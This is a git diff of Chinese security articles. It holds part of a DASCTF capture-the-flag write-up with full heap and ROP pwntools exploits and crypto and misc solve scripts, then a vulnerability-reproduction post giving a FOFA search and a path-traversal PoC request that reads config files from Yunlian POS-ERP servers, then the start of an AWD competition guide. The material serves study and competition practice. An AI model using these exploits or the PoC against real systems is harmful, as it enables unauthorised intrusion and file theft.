1209446834271293681961506708684952401569936830292701272655835127315444154958, 21868026584808712490812183410257662299067350008298604021123682243508255905173*i + 12828201007038003022201361213007595366913298546122923089499182187938898042596)] +ct = 96910798667771988374291172958072220832574586618080134344021393928577220469428 +""" + +step1 +from Crypto.Util.number import * +from hashlib import sha256 + +def enc(pt, G, A, T, S, p): + s = randint(0,p-1) + D = G^s + E = A*T*A + F = D*E*D + K = list(D*S*D) + key = sum(K[0])+sum(K[1])+sum(K[2]) + mask = int(sha256(str(key).encode()).hexdigest(),16) + ct = pt ^^ mask + return ct, F + +p = 72887242108660141996862343556330151015969690949835567252527194788428065480383 +Fp2. = GF(p^2, modulus=x^2+1) +M = MatrixSpace(Fp2, 3, 3) + +pk = ([(17721183402259872020800275954210023274983052570120081248291897425608931477093*i + 32398110280895896734010284949974832063887503132353681078977206899204202173789, 54531634495057046991515273558305428867102201405617856305008554208336946545276*i + 53559176432820530464958340934397135653021175198597495321065224929188410347695, 27719945502856754481236098196014205483081586087367078493933408080194499938927*i + 1450628736387393873166171805424299538505476789523674611289973478290718453200), (57242423786686483363839647362581564383925732392730073374546590355998555747077*i + 573726326354574516128249317235875704460857319673337707555095009277545125755, 33631043256657770245013631632455702904903259491780484310654749784948198388976*i + 17344746653834202604930860577508757708688427949046279718508635007113840369042, 37771390186920740637371383242878514021347606565375600086363978842439775164973*i + 60264754185911116825495147907207494752330900415794996812483089251259003404228), (1163730453993018743008743150834548760986076138562570206571825145859591284352*i + 69245390362211526197537288211735612650619880945856387683074182933575799994162, 11137807706588795799057940108843238078078690609437386007163034291855328303661*i + 50795522649623533714787572047531722836395032085224035511036953078383612475598, 14354786571703727534706086386589187674076604263117377684131521866407943036307*i + 63028649680815097939155846824928638616844025040257105384123424769274942520895)], [(22137116252880790433838296157765927318220905592359967466680754349755815464341*i + 35503968364379821899511866562472775961434113516937033217642581531414863539290, 38346074307552448152239080224505166810289185210503265380269711384969731945517*i + 9333819647786551924409858116441570177115099865486742684028611902450000042407, 24608192510515673607042276468532809071945836783394960695059783085937608049755*i + 27099766371861599260580052331632986107092105438254563604629919595057370886149), (57539731529782952718529369617033412770127782205874818027724894673104814770991*i + 12431864123786174601413168140961685219607645783666490625760143190724674574386, 33510082449726132893492104159133966168598115972734064630878005553829725389082*i + 30594711977745700371548334707069524826346332947574826081979927125841475148328, 8911862104171403632946802970568635607253840071000107875759139060453368618583*i + 51594672749496705581452789883241278156858476777167382827032876227546058970732), (58105830161247358431125768499050987088161417325586965601350797391396603985470*i + 10949064084676782939947256128733523229613253182051362970560478801614590446300, 6665352489343222248969975791152178151760060704226637217535985452272551528693*i + 16163109497937280055564868323730465088174193174761590036929535644203224067166, 26147088265849488467397913386934580340556987670869413865359802108333761377560*i + 14170094609019059182842713618319151553137248441974849089555832123638494739417)], [(60066006389024369318961505483331049048095679333675437984483948643792214278503*i + 67617085525047580942273623886038114942547589259839196477555874755427651308048, 38692305959834079988532869421062338838072016075793686080934562521314366274998*i + 21104829450473981189549299039898127784065322316764325995863199136802573514, 7207625628360021282792621977024027446511231977201394776410095364976996279450*i + 23039079766688651678553952766794875180844089420934577132338235904018762773928), (10808368042897084491009063074724200907600038030639153659288985642861405920614*i + 33955795465220353002933680692690511153845418737513482128237117905262919879043, 21645210772494061734726430463955231707074915293749580279327741388687068110310*i + 62225984739450865202997071369617271241348810092608626482294704825641320606694, 14572118842071162051223076904993643512402905544627821044103215186921277812496*i + 63504547636870837320642724540312613748726280369811190421219651308407770510674), (6529211642735966744323364626486352288002532267939478445216264742350974653419*i + 43426895500365913698127867498420593427453574994051597107529725996420257433857, 66636149494607064863031794353485502915121295051850619450321561966293398587284*i + 51049172134567530748763269555600518661288880531459625871071308764595168859033, 42297258788816007263333796194491196601979606573843177791726417124128570106777*i + 45527674821983322767637713856131638914194577467349514130179266972864796164733)], [(47645610858583239528541540288030905132801730740336899517917521534427703920375*i + 13272393664089987551368548207128885229248289454405159277755757369580866096516, 60503024931869977830369448001966194434192750710631225090391559259672930497207*i + 22742672333325631628906219543935772962495637869131049729874762344108069789046, 18239371575343144081671835175136676417172797381923442300525086630600561560114*i + 53605095942301227312866863441233162082087535371838738595931070092230378325532), (49652795839344946948771531270341537200526957150620826334216871981974859849848*i + 72788891932812016325514298655742330969740202920835574638161526839627026310392, 58465406030985457122487065262985150103086610852826560192123766406670919681919*i + 41631921368744416558173670147590406285376603436284660888096365325833457519047, 2867068797023070369258694926242485369317317985428997150826022662547346928319*i + 199536555238705400453079146297641296197748614855192340202929119323998667173), (19319782936524636558881137449470396788888469756320580071801690941326971557928*i + 34694728896207512382372151140975478616355941017631874070450334268575015485538, 60420266086997924618637147844041161464210208935194926422677077391866663978425*i + 13672363312837218411993834816309940812825734002380106434784905443915361955247, 56317025568717741728727542740124505299029374963112095990350877412868385510001*i + 56960621295573230601502052571104746367180500789238336757504091383665514782189)]) +F = [(36081831373398765496490121898118275331597167308301671911642273861563666664545*i + 20818485079783326431414952124332440995164298376805349071762867760925654560129, 2080527476644284459469754065728582261439110792635520661740429151724797376184*i + 22485923248080983391383279592637691489160934672854638306617785344436031827838, 15544373162545014827602222261755865080947187122261471926061663568794038512828*i + 65994932829738499994169748656063604384011854387402875895186473718226656419067), (3553534440103543686958858303956716887328727627636404431097647427819509340361*i + 41182149981825439188243414995474733005799065992663037326956422731949977723727, 11444151159046255413538671703716370245288291793592500278345001664024824339590*i + 1802783416049323926195923226865768221398255563865542946492803065162093093803, 15739175840903697568714274177182938758189586472507039731239155962622285528109*i + 38249065906628598713138583591858150126778794837077688369911160900556744463900), (14364753807737302773559096493138893453118094354943941768609481298414054855231*i + 16290236676179704559365899211744462983770375364688247022596145726641137243214, 3863306473986430132042752882629555431418515741358351198972027547882636615940*i + 1209446834271293681961506708684952401569936830292701272655835127315444154958, 21868026584808712490812183410257662299067350008298604021123682243508255905173*i + 12828201007038003022201361213007595366913298546122923089499182187938898042596)] +ct = 96910798667771988374291172958072220832574586618080134344021393928577220469428 + +A, T, S, G = [M(ii) for ii in pk] +F = M(F) + + +############################################################### attack +E = A*T*A +detA, detT, detS, detG, detE, detF = A.det(), T.det(), S.det(), G.det(), E.det(), F.det() +r = 2244966557637008779362441591080406338119704738381872153797151 +#R = 80839783875482453208291688688697485912290384775841712705111124172946909733768714734343762988749579725275997021760357500939 +#r = discrete_log(detG^R, ((detA^(-1)*detT).sqrt())^R, ord=(p^2-1)//R) +#s = discrete_log(((detA^(-2)*detT^(-1)*detF).sqrt())^R, detG^R, ord=(p^2-1)//R) +#not enough so use cado-nfs +这里不够,用上cado-nfs +step2 +import subprocess + +command = [ + './cado-nfs.py', + '-dlp', + '-ell', str(r), + 'target='+str(t1), + str(p) +] +#1541758195020130454925136833461872657607368759409055632195831 + +command = [ + './cado-nfs.py', + '-dlp', + '-ell', str(r), + 'target='+str(t2), + str(p) +] +#780392429787953543532147509264510635118839088869098098140941 + +try: + result = subprocess.run(command, check=True, text=True, capture_output=True) + print(result.stdout) +except subprocess.CalledProcessError as e: + print(f"ERROR: {e.returncode}") + print("ERROR:", e.stderr) +step3 +#t2^s = t1 +Fr = GF(r) +s1 = Fr(1541758195020130454925136833461872657607368759409055632195831) +s2 = Fr(780392429787953543532147509264510635118839088869098098140941) +ss = discrete_log(pow(t1, 6*r, p), pow(t2, 6*r, p), operation="*", ord=(p-1)//r) +s = crt([int(ss), int(s1/s2)], [(p-1)//(6*r), r]) + +ss = s +for ii in range(6): + s = ss + ii * (p-1) // 6 + D = G^int(s) + K = list(D*S*D) + key = sum(K[0])+sum(K[1])+sum(K[2]) + mask = int(sha256(str(key).encode()).hexdigest(),16) + pt = ct ^^ mask + if(D.det()*detE*D.det() == detF): + print(long_to_bytes(pt)) + break + + +#QAQ~4_Br0ken_Crypto_Sy5tem~TAT +``` + + + + + + +**CRYPTO****.05** + +**✦✦✦**8 ddd + + + +操作内容: + +使用工具一把梭 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0S7ia3Qziclg1geicILwHbmhmWbSlBc9dkpRh4aPfJMRkBMSjMkIan9Koicw/640?wx_fmt=png&from=appmsg "") + + + + +**MISC****.01** + +**✦✦✦** **9 gza_Cracker** + + + +操作内容: + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SPRmicQM2eQRRDUZq3yQ5aLYX0ibPCMIzPWxvSnnAj7Kh1icKKxQaPuNFg/640?wx_fmt=png&from=appmsg "") + + +pass是Antsword + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SuSgTib3lEzKn8DevvDVGKibARfu9pZX9HamDZ5107duxXogS1FRJp1rA/640?wx_fmt=png&from=appmsg "") + + +key则是在这里面 + +``` +echo substr(md5($pass.$key),0,16);//前缀 +echo base64_encode(encode(@run($data),$key)); //加密数据 +echo substr(md5($pass.$key),16); //后缀 + +``` + + + +e71f50e9773b23f9 是前缀,根据这个可以爆破key + +``` +"; + echo "16bit: ".substr(md5($key), 0, 16); + } + } + +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SYYnH75lIlB2czNRYep2zianVlOvMwLIvooHicT6PRz4qK7xPEkqGnyXw/640?wx_fmt=png&from=appmsg "") + + +key拿到即可解密: + +``` + +#include +#include +typedef uint32_t uint32; +uint32 data1[] = {0x33293158, 0x60760211, 0x42185F46, 0x63746F29}; +uint32 data2[] = { + 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, + 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, + 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, + 0xBBDBD183, 0x05340F2E +}; +uint32 lookup_table[0x100]; +void byte_swap(uint32 *num) { + unsigned char *byte_ptr = (unsigned char*) num; + unsigned char temp; + for (int i = 0; i < 2; ++i) { + temp = byte_ptr[i]; + byte_ptr[i] = byte_ptr[3 - i]; + byte_ptr[3 - i] = temp; + } +} +int main() { + // 初始化 lookup_table + for (int i = 0; i < 0x100; ++i) { + lookup_table[i] = i & 3; + } + for (int idx = 0; idx < 4; idx += 2) { + uint32 first = data1[idx]; + uint32 second = data1[idx + 1]; + for (int j = 19; j >= 0; --j) { + uint32 temp = second; + second ^= data2[j]; + for (int k = 0; k < 4; ++k) { + uint8_t temp_idx = lookup_table[(data2[j] >> (k * 8)) & 0xff]; + uint8_t temp_val = (second >> (k * 8)) & 0xff; + unsigned char second_byte_array[4]; + memcpy(second_byte_array, &second, sizeof(second)); + unsigned char tmp = second_byte_array[k]; + second_byte_array[k] = second_byte_array[temp_idx]; + second_byte_array[temp_idx] = tmp; + + memcpy(&second, second_byte_array, sizeof(second)); + } + + second ^= data2[j]; + second ^= first; + first = temp; + } +  +``` + + +flag值: +**DASCTF{z1g_I3_S0_Coo0l!}** + + + + +**PWN****.01** + +**✦✦✦** **17 EZheap_2** + + + +操作内容: + +Off by one漏洞,堆菜单题目,固定模板构造堆块重叠,Show能泄露pie或者堆地址,这里选择pie地址,这样就能tcachebin attack打stdout,泄露出libc地址,然后2.27orw固定模板直接梭哈 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0Sic6ITesHyQ9zRbYfp3DYPV8DT4hgSWkZhE4pDc4TBjicse9Nx4AmbQLA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SpIDic6xjOIpreHc3RDglrxibQaPuRRdKYK19iblCPrQYfVZiah7eo2JOPA/640?wx_fmt=png&from=appmsg "") + + +代码: + +``` + from pwn import * +from struct import pack +from ctypes import * +from LibcSearcher import * +import base64 +import gmpy2 +li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') +ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') +def s(a): + p.send(a) +def sa(a, b): + p.sendafter(a, b) +def sl(a): + p.sendline(a) +def sla(a, b): + p.sendlineafter(a, b) +def r(): + p.recv() +def pr(): + print(p.recv()) +def rl(a): + return p.recvuntil(a) +def inter(): + p.interactive() +def bug(): + gdb.attach(p) + pause() +def get_addr(): + return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) +def get_addr1(): + return u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) +def get_sb(): + return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) + +context(os='linux', arch='amd64', log_level='debug') +#p = process('./pwn') +p = remote('', ) +elf = ELF('./pwn') +#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") +libc=ELF("/root/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6") + +def cmd(i): + sla(b'Your choice:',str(i)) + +def add(idx,size): + cmd(1) + sla(b'index:',str(idx)) + sla(b'Size:',str(size)) + +def edit(idx,con): + cmd(2) + sla(b'index:',str(idx)) + sa(b'context:',con) + +def free(idx): + cmd(3) + sla(b'index:',str(idx)) + +def show(idx): + cmd(4) + sla(b'choose:',str(idx)) + +add(0,0x18) #0 +add(1,0x68) #1 +add(2,0x68) #2 +add(3,0x18) #3 +add(10,0x68) #2 +add(11,0x68) #2 +edit(0,b'\x00'*0x18+p8(0xe1)) +free(1) +add(4,0xd8) +show(4) +rl(b'\n') +pie=int(p.recv(14),16)-0x202160 +free(10) +free(11) +free(2) +edit(4,b'a'*0x68+p64(0x71)+p64(pie+0x202020)) +add(5,0x68) +add(6,0x68) +add(7,0x68) +edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00') +libc_base=get_addr()-0x3ed8b0 +li(hex(libc_base)) + +rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__() +rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__() +rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__() +rax = libc_base+libc.search(asm("pop rax\nret")).__next__() +ret = libc_base+libc.search(asm("ret")).__next__() +syscall=libc_base+libc.search(asm("syscall\nret")).__next__() +jmp_rsp=libc_base+libc.search(asm("jmp rsp")).__next__() +free_hook=libc_base+libc.sym['__free_hook'] +setcontext=libc_base+libc.sym['setcontext']+53 +open_addr=libc_base+libc.sym['open'] +read_addr=libc_base + libc.sym['read'] +write_addr=libc_base + libc.sym['write'] + +payload=(b'\x00'*0x68+p64(0)+p64(free_hook&0xfffffffffffff000)+p64(0)*2+p64(0x2000)).ljust(0xa0,b'\x00')+p64(free_hook&0xfffffffffffff000)+p64(syscall) +free(5) +edit(4,b'\x00'*0x68+p64(0x71)+p64(free_hook)) +add(5,0x68) +add(6,0x68) +edit(6,p64(setcontext)) +add(15,0x400) +edit(15,payload) +free(15) +payload = p64(rdi)+p64(free_hook&0xfffffffffffff000) +payload += p64(rsi)+p64(0x1000) +payload += p64(rdx)+p64(7) +payload += p64(rax)+p64(10) +payload += p64(syscall) +payload += p64(jmp_rsp) +payload += asm(shellcraft.open('/flag')) +payload += asm(shellcraft.read(3,free_hook+0x300,0x30)) +payload += asm(shellcraft.write(1,free_hook+0x300,0x30)) +sl(payload) + +inter() +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0S7xRvqFnjuOnO3z0dhABuad40YiaNfiaE8USibFL7OnqK23JXGiaX0LSKlw/640?wx_fmt=png&from=appmsg "") + + +flag值: + +**DASCTF{10737193860912531286748686403102}** + + + + +**PWN****.02** + +**✦✦✦** **18 Inequable Canary** + + + +操作内容: + +源鲁杯原题,除了交互不一样,其他都一样 + +链接: + +https://xz.aliyun.com/t/15840?time__1311=GqjxnDgDyC0QDsD7zG7W%3DqxWw8iVWiW4D#toc-4 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SfHuxCibNdYgC1yaYgB2fslupATZ2IGggJmtq8f74wKqrWVicqZcOIhlQ/640?wx_fmt=png&from=appmsg "") + + +代码: + +``` + from pwn import* +def s(a): + p.send(a) +def sa(a,b): + p.sendafter(a,b) +def inter(): + p.interactive() +context(log_level = 'debug',arch = 'amd64') +p=remote("139.155.126.78",27641) +elf=ELF('./canary') +vuln=0x400820 +stack_fail_got=0x601038 +sa("Say some old spells to start the journey\n",p64(vuln)) +sa("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(stack_fail_got)) +sa("I have magic\n",p64(0x400a5f)) #pop 3 +pop_rdi=0x400a63 +pop_rsi_r15=0x400a61 +read_got=0x601040 +write_addr=0x4006E0 +payload=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(write_addr)+p64(vuln) +sa("Let's go!\n",payload) +libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x10e1e0 +bss=0x601060+0x800 +sa("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(bss)) +sa("I have magic\n",b'flag\x00\x00\x00\x00') #pop 3 +pop_rdi=0x400a63 +pop_rsi_r15=0x400a61 +read_got=0x601040 +write_addr=0x4006E0 +pop_rax=libc_base+0x36174 +pop_rdx_r12=libc_base+0x119431 +syscall_ret=libc_base+0x47656 #syscall pop_rbp ret +payload=p64(pop_rdi)+p64(bss)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall_ret)+p64(0) #open +payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(0)+p64(syscall_ret)+p64(0)#read +payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(1)+p64(syscall_ret)+p64(0) +sa("Let's go!\n",payload) +inter() + +``` + + + + + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SicDXNibMHuK3DQywaia3CGVSv3iaCyUiaxfvNtJuQrv0p9n6EmicjCibOV9PQ/640?wx_fmt=png&from=appmsg "") + + +flag值: + +**DASCTF{95400240268504043541865376132978}** + + + + + +DB**.01** + +**✦✦✦** **19 DB** + + + +操作内容: + +正则匹配匹配出来 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0Sxv6GkHBN4MGaPnQFibohxJg2AC8BOTH7ibBS8RrSeBszvwoEJr4N0sicA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0SzaLCR8IzwehIqWnb7WQwHFAdh97TAfpEib6twQFWicDNHsWTAen1icYaw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/cMMgFM2Pzga3W7avGH1Ux5bUGYmema0Sz55ibKnHQ8puMT0kIjcZiaNickTQhvEs0nI3YhSKszHd7Zsl8S6uYWzibQ/640?wx_fmt=png&from=appmsg "") + + +代码: + +``` + import re +import csv + +def validate_phone(phone): + """ + Validates if a given phone number is a valid 11-digit number + and matches the specified prefixes. + """ + valid_prefixes = [ + '734', '735', '736', '737', '738', '739', '747', '748', '750', '751', '752', '757', '758', '759', '772', + '778', '782', '783', '784', '787', '788', '795', '798', '730', '731', '732', '740', '745', '746', '755', + '756', '766', '767', '771', '775', '776', '785', '786', '796', '733', '749', '753', '773', '774', '777', + '780', '781', '789', '790', '791', '793', '799' + ] + return re.fullmatch(r'\d{11}', phone) and phone[:3] in valid_prefixes + +# Read the data file, extract potential numbers, filter valid ones, and write to CSV +with open("a.txt", encoding="utf-8") as file: + data = file.read() +potential_numbers = re.findall(r'\b\d{11}\b', data) +valid_numbers = [num for num in potential_numbers if validate_phone(num)] + +output_data = [["category", "value"]] + [["phone", num] for num in valid_numbers] +with open("output.csv", mode="w", encoding="utf-8", newline="") as csvfile: + writer = csv.writer(csvfile) + writer.writerows(output_data) + +print(f"Extracted {len(valid_numbers)} valid phone numbers. Results saved to output.csv.") + +``` + + + +**-- 结束 --** + +**○** + +**以上为本次比赛WP如有问题请留言私信公众号** +**** + + +![](https://mmbiz.qpic.cn/mmbiz_png/3661Y6YTEuwcE1x3huDpfhOicu1dFW2pVV5kNGnAYCkuQkmnsKOPMRabQxr2T7Cia3gz11LCIR9tTVzfqJicRHOWA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**赛事举办联系方式** + + +联系人:张先生 + +VX:Evan-xuanjing + +邮箱:game@megrezsec.cn + + +**** +**** +**往期回顾** +**** + +[UCTC CTF 2024高校新生网安赛 部分WriteUp](https://mp.weixin.qq.com/s?__biz=MzkwMDc5NDQ4OA==&mid=2247494537&idx=1&sn=76577059ff7b89c21585323f2645ef03&scene=21#wechat_redirect) + + +[UCTC CTF 2024高校新生网安赛线上赛事圆满落幕](https://mp.weixin.qq.com/s?__biz=MzkwMDc5NDQ4OA==&mid=2247494537&idx=2&sn=eb58184c95a7d0ee32e75cf9bba807ed&scene=21#wechat_redirect) + + +[2024河北科技大学“鸿网杯”信息安全竞赛即将开启,蓄势待发!](https://mp.weixin.qq.com/s?__biz=MzkwMDc5NDQ4OA==&mid=2247494537&idx=3&sn=e21c9ef75b8dd566852e39c1505cf6bc&scene=21#wechat_redirect) + + + + +**-天权信安网络安全团队-** + +**网络无边 安全有界** + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWia4EicnyOUl8hYh2lTTpV7wBWlm2rQaZ8chcIiclr15n1rW1ZMwCics0Qibkn5ryPweRFHa6wBBWgz45w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**2022,感恩有您** + +**2023,携手同行** + + +**用技术撬动未来,用奋斗描绘成功!** + + +     +  + +天权信安网络安全团队(简称“天权信安”),成立于2022年,是一支研究红蓝对抗、内网渗透、红队武器库、CTF竞赛及其网安相关活动的安全团队。这里聚集着一群有技术有担当有理想、热爱信安奉献信安的多方面专业人才。天权信安的“天权”来源于北斗七星,又称为文曲星,它代表着天资聪颖,能力超群,也象征着天权信安的高标准、高水平与高质量,体现着我们的宗旨--打造一支作风优良、实力强劲、团结协作的精英团队,用技术与毅力共同守护网络安全。目前成员 + 40 余人, +成员也来自于黄鹤网络安全实验室,队员分布于 +阿尔托大学(国外)、 +科大、华科、电子科大、警大、江苏海洋大学、国际关系学院、广大、河北师大、吉林师大、西南石油、安工院、湖工大、华师大、湘大、湖南工程学院等国内各大高校,也分布于绿盟科技、奇安信、长亭科技、安恒信息、联通、移动等国内大厂。为“网络安全爱好者”提供一个更好的学习交流生态圈,天权信安欢迎技术大咖、攻防渗透、CTF选手等资深专业人士前来分享网络安全前沿技术、攻防实战经验、内网渗透、IOT安全、电子取证、CTF、APT、工控安全等技术,通过经验分享,来帮助大家了解最新网络安全动态,提升安全技术水平,拓宽知识领域,致力于打造一个开放共享的网络安全生态圈。 + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWia4EicnyOUl8hYh2lTTpV7wBWlm2rQaZ8chcIiclr15n1rW1ZMwCics0Qibkn5ryPweRFHa6wBBWgz45w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + + diff --git a/doc/「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞.md b/doc/「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞.md new file mode 100644 index 00000000..4f47b292 --- /dev/null +++ b/doc/「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞.md @@ -0,0 +1,125 @@ +# 「漏洞复现」云连POS-ERP管理系统 download.action 任意文件读取漏洞 +冷漠安全 冷漠安全 2024-12-22 02:58 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rPMtsalfZ0pFeDPJNnYaE7pYibBLQrUbLZwqelcotCqhYf0seBKfHroSUm8XuHyka5I3SmicWcJYUpZbFmxJCZ1Q/640?wx_fmt=gif&from=appmsg "") + +0x01 免责声明 + +请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!! + +0x02 + +产品介绍 + +云连POS-ERP管理系统作为一种综合的管理软件,旨在为企业提供全面、高效的业务管理解决方案。基于云计算技术,集POS收银与ERP管理功能于一体的综合管理系统。它通过网络对企业的各类信息进行集中、统一和实时的管理,帮助企业实现销售、库存、财务等业务的全面数字化管理。系统具有用户友好的操作界面和简单直观的操作流程,使得用户可以快速上手并熟练使用。同时,系统还提供了多种数据导出方式,方便用户实时导出各类报表、销售数据、库存数据等,极大地提高了工作效率。 + +0x03 + +漏洞威胁 + +云连POS-ERP管理系统 download.action 存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。 + +0x04 + +漏洞环境 + +FOFA: +  +``` +title="Powered By chaosZ" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0oZcNZfBCQWrP69Hy1XlzotDxSMHhaHYJ6MfZyBJBibwF0K5OfMSibVVXIxX3X6og1CPFQ0eibBgelhw/640?wx_fmt=png&from=appmsg "") + + +0x05 + +漏洞复现 + +PoC +``` +POST /admin/file!download.action;admin!login.action HTTP/1.1 +Host:  +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Content-Type: application/x-www-form-urlencoded +Connection: close + +downloadFile=../../WEB-INF/web.xml +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0oZcNZfBCQWrP69Hy1Xlzot4CrZwwMmS2icowVibzovFPTe9z3UEliagwsiag1xiaO8ebT1LreEpTMiaAZw/640?wx_fmt=png&from=appmsg "") + +0x06 + +批量脚本验证 + +Nuclei验证脚本已发布 + +知识星球:冷漠安全 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0oZcNZfBCQWrP69Hy1XlzotmrQMxSV7ooXicTEh3jOXkwDZX47NbjZKCMyTUo6JTMHJHe6FL0xuXHQ/640?wx_fmt=png&from=appmsg "") + + +0x07 + +修复建议 + +关闭互联网暴露面或接口设置访问权限 + +升级至安全版本或打补丁 + +0x08 + +加入我们 + +漏洞详情及批量检测POC工具请前往知识星球获取 + +知识星球:冷漠安全 + +交个朋友,限时优惠券:加入立减25 + +星球福利:每天更新最新漏洞POC、资料文献、内部工具等 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/rPMtsalfZ0oZcNZfBCQWrP69Hy1XlzotqBaTg2ohJdicicw4Dniakh5Z6kr2nzZKwvOJhalGqSJW4ibcqVBugGlNAw/640?wx_fmt=png&from=appmsg "") + + +「星球介绍」: + +本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。 + +本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。 + +本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。 + + +「星球服务」: + + +加入星球,你会获得: + + +♦ 批量验证漏洞POC脚本 + + +♦ 0day、1day分享 + + +♦ 汇集其它付费星球资源分享 + + +♦ 大量的红蓝对抗实战资源 + + +♦ 优秀的内部红蓝工具及插件 + + +♦ 综合类别优秀Wiki文库及漏洞库 + + +♦ 提问及技术交流 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rPMtsalfZ0oZcNZfBCQWrP69Hy1XlzotxCMibxib4YRMb7Ym0INeZweXBorwI1A94OviacatqCOB2fpsIspd8CD8w/640?wx_fmt=gif&from=appmsg "") + + diff --git a/doc/关于AWD的小结.md b/doc/关于AWD的小结.md new file mode 100644 index 00000000..0721f5a0 --- /dev/null +++ b/doc/关于AWD的小结.md @@ -0,0 +1,263 @@ +# 关于AWD的小结 +原创 cha0s Gh0xE9 2024-12-22 12:27 + +# 比赛规则 +- 比赛:指从开始到结束的一整场比赛过程。 + +- 轮:指一个单独的时间区间,分数计算的最小周期,一般为 10 分钟。 一场比赛由许多轮组成,可以理解为:总轮数 = 比赛总时长 / 单轮时长 +。 + +- 选手:指比赛的参赛队伍,通常是一个 3-5 人的团队。 + +- 题目:比赛的试题,对应着传统 Jeopardy 模式中的一道道题目。 + +- 靶机:AWD 模式中,对于每一道题目,每个选手都会有一个自己的独立靶机,上面运行着这个题目的环境。 + +- Check:为了检测选手的靶机服务以及功能是否能够正常运行,主办方会不定期运行 Check,(通常是一段自动请求并验证的脚本)用以检测服务可用性。检测到服务不可用,功能不全的靶机,其所属队伍将被扣分。(Check 的存在,是为了防止选手故意删站,或部署通防来使得攻击方无法对其靶机进行攻击,从而达到所谓“绝对的防御”) + +- 服务宕机 / CheckDown:指选手的靶机服务不可用,或功能不全。 + +# 常见awd思路 + +(当作参考) +## 1.靶机登陆 + +一般来说有两种登陆方式: +- rsa公钥登陆 + +- 用户名/密码登陆 + +使用xshell的话,那存在一个选择公钥的选项,可以直接登陆。 + 